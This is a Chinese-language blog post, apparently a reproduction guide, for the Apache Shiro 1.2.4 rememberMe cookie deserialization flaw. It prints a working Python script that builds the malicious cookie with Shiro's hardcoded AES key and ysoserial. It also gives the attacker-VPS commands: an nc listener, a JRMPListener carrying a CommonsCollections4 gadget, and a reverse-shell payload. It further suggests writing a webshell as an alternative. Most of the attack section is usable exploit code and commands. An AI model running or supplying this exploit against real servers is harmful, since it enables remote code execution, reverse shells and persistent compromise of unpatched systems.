Apache Shiro反序列化远程代码执行漏洞,反弹SHELL复现

影响版本

Apache Shiro <= 1.2.4

利用组件

org.apache.commons中的commons-collections4(理论上commons-collections2也有)

利用位置

任意http请求中cookie处rememberMe参数

https://mmbiz.qpic.cn/mmbiz/TSe85rVGowC1ibrsBbezVq2JjW9UZP8tS5MXhbyS8fSDzlTo53HibbCTfTQ0V0THK8pJTFWI4nMgvufxHzjq8n7w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1

环境搭建难点

Shiro利用maven编译有很多坑点,鉴于过于痛苦,我列出主要坑点

  1. 机器需要安装mvn、svn命令
  2. jdk必须为1.6
  3. maven版本最好为3.1.1

解决上面的环境需求,基本上不会编译失败。

如果你实在是编译失败到没有信心,可以使用我提供的war包:
https://pan.baidu.com/s/17EX4L0xBaGC6KbYfxfMpbg

提取码: kqw3

部署war包很简单,只需要将其放到tomcat中的webapps目录下,它将会自动解压,当然它的默认名称是samples-web-1.2.4,为了访问方便我们可以重命名为shiro

https://mmbiz.qpic.cn/mmbiz/TSe85rVGowC1ibrsBbezVq2JjW9UZP8tSjz2nlkeARiaaUKYXicGgIgkeTVYbNibdgXG6yic5WerJAjiae6kFh0WTlxg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1


利用步骤

利用环境准备

1、你需要在公网VPS上放置一个ysoserial。

2、以下python脚本:

需先安装pycrypto模块:

apt-get install python-dev
pip install pycrypto

shiro_exp_payload.py

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())
执行命令

1.先在VPS执行监听反弹shell的命令

nc -lvp 4444

2.在vps上执行如下命令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹shell的命令"

这里的命令,需要使用Java Runtime配合bash编码,CommonsCollections4也可以换成CommonsCollections2

3.使用python脚本

python shiro_exp_payload.py vpsip:1099

python脚本将生成cookie,将cookie带入http请求中即可反弹shell

例如下图

https://mmbiz.qpic.cn/mmbiz/TSe85rVGowC1ibrsBbezVq2JjW9UZP8tSVbSuSnnYlQmet995IZrmfr0yJuBtqxLYOcWJISYxsDQ4tJmQel5xuQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1

https://mmbiz.qpic.cn/mmbiz/TSe85rVGowC1ibrsBbezVq2JjW9UZP8tS5YEAbyFib8A3PDsnIpviawmdeTKrnO8aAb7iayW2gYMCib6knL8mjIheIw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1

(我这里给出的是反弹shell,当然你可以利用echo写入shell什么的,只需要反弹shell的命令换成写shell的命令)

写shell的路径可根据下图参考

https://mmbiz.qpic.cn/mmbiz/TSe85rVGowC1ibrsBbezVq2JjW9UZP8tSMoRW7f45rW9pLPX6mPZ8bja4Wko7zk34KQO9XFmDq9j6f34QsbuWbA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1

https://mmbiz.qpic.cn/mmbiz/TSe85rVGowC1ibrsBbezVq2JjW9UZP8tScugYEDaUuApyEYMu121xGYMezLvZnIkwib5lBw67lT3oJzyTCcgibImg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1

 

 

1 个评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注